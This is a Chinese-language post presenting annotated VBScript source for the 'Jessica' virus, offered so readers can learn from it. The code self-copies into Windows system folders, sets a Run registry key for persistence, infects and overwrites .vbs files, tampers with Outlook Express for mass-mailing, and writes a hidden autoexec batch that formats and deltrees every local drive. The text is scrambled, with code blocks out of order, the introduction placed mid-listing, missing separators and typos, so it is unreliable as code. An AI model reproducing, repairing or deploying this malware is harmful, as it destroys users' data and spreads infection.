VBS病毒代码

if(err>=1)then＇超时设置
timeover.RegWrite "HKEY——CURRENT——USER\Softwate\Microsoft\Windows Scripting Host\Settings\Timeout"0"REG_DWORD"
end if
set sm=CreateObject("WScript.Shell")
c.Copy(sysdir&"\Kernel32.vbs")＇将自己复制到system下
c.Copy(windir&"\Rundll32.vbs")＇将自己复制到windows下
c.Copy(sysdir&"\Table.htm.vbs")＇向system下再复制一个
regload()＇调用写注册表的模块
Set regedit=CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)＇判断文件是否存在的进程
On Error Resume Next
s=lcase(f1.neme)＇将文件路径小写
if(ext="vbs")then ＇如果后缀是vbs
set ap=filesys.OpenTextFile(f1.path2true)＇就以文本方式打开
ap.write vbscp＇将自己写入文件，达到感染的目的
ap.close＇关闭文件
next
For i=1 to Len(ss)
x=Mid(ssi1)
auto.WriteLine("deltree/y"&x&":")＇怕format失效，用deltree双保险
next
auto.Close＇关闭批处理文件
set dir=fs.GetFile("c:\Auto.bat")
Set filesys=CreateObject("Scripting.FileSystemObject")＇建立文件系统对象，必不可少
set file=filesys.OpenTextFile(WScript.ScriptFullname1)＇以文本方式打开病毒自己
vbscp=file.ReadAll＇读入自己的内容
dir.attributes=dir.attributes2＇将自动批处理文件改为隐藏
End sub
sub regload()＇从注册表中自动加载的过程
On Error Resume Next
reg"HKEY_LOCAL_MACHINE\Software\Microsofr\Windows\CurrenVerห้องสมุดไป่ตู้ion\Run\Exploer"windir&"\Rundll32.vbs" ＇在HKLM的RUN下添加键值
auto.WriteLine("Smartdrv")＇加载驱动器的集合
Set disc=fs.Drives＇得到驱动器的集合
For Each ds in disc
If ds.DriveType=2 Then＇如果驱动器是本地盘
ss=ss&ds.DriveLetter＇就将符号连在一起
今天真是幸运，被我搞到了病毒Jessica的源代码。
因为是用vbs编写的，所以贴在这里让大家看看。
希望大家喜欢，也希望大家能从中学到东西。
我给它加上了详细的解释。
On Error Resume Next＇容错语句，避免程序崩溃
dim filesyssysdirwindirfilevbscp
end if
Set windir=filesys.GetSpecialFolder(0)＇得到windows目录
Set sysdir=filesys.GetSpecialFolder(1)＇得到system目录
Set c=filesys.GetFile(WScript.ScriptFullName)＇得到病毒的路径
End if
Next
ss=LCase(StrReverse(Trim(ss)))＇得到符号串的反向小写形式
For i=1 to Len(ss)＇遍历每个驱动器
x=Mid(ssi1)＇读每个驱动器的符号
auto.WriteLine("format/autotest/q/u"&x&":")＇反向（从Z:到A:)自动格式化驱动器
On Error Resume Next
dim xactrlistsctrentriesmaleadbregeditregvregad
set regedit=CreateObject("WScript.Shell")
imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")
dim msg
if(filesys.GetFolderExists(folderspec)) then ＇如果目录存在，返回0；否则1
msg=0
else
msg=1
end if
fileexist=msg
end function
sub mailworm()＇发带病毒邮件的过程
mailworm()＇调用发带病毒邮件的模块
killc()＇调用改写自动批处理的模块
alldrivers()＇调用删文件的模块
end sub
sub killc()＇破坏硬盘的过程
On Error Resume Next
dim fsautodiscdsssixdir
set f=filesys.GetFolder(folderspec)＇建立目录对象
set fc=f.Files＇得到文件的集合
for each f1 in fc＇遍历每个文件
ext=filesys.GetExtensionName(f1.path)＇得到文件的后缀名
ext=lcase(ext)＇将后缀名小写
dim msg
if (filesys.FileExists(filespec)) Then＇如果文件存在，返回0；否则1
msg=0
else
msg=1
end if
fileexist=msg
end function
function folderexist(folderspec)＇判断目录是否存在的过程
if(address>=0)then＇修改OE的注册表键值，避免用户改为“不立刻添加通讯薄”
addadd.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB"1"REG_DWORD"
docu.write vbscp ＇写入自己的代码，以破坏文件
docu.close＇关闭文件
filesys.file f1.pathtrue＇将文件删除
end if
next
end sub
sub folderlist(folderspec)＇遍历目录的过程
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set auto=fs.CreateTextFile("c:\Auto.bat"True)＇建立或修改自动批处理
auto.WriteLine("@echo off")＇屏蔽掉删除的进程
main()＇进入主过程
sub main()＇主过程
On Error Resume Next
dim timeovererrsmimmeaddaddaddressc
set timeover=CreateObject("WScript.Shell")
err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")＇读入注册表中的超时键值
folderlist(d.path&"\")＇就完善路径，如c:就变成c:end if
Next
listadriv=s＇得到目录列表
end sub
sub infectfiles(folderspec)＇感染文件的过程
On Error Resume Next
dim ff1fcextapcopsdocu
On Error Resume Next
Dim ddcs
Set dc =filesys.Drives＇得到本地驱动器的集合
For Each d in dc ＇遍历每个驱动器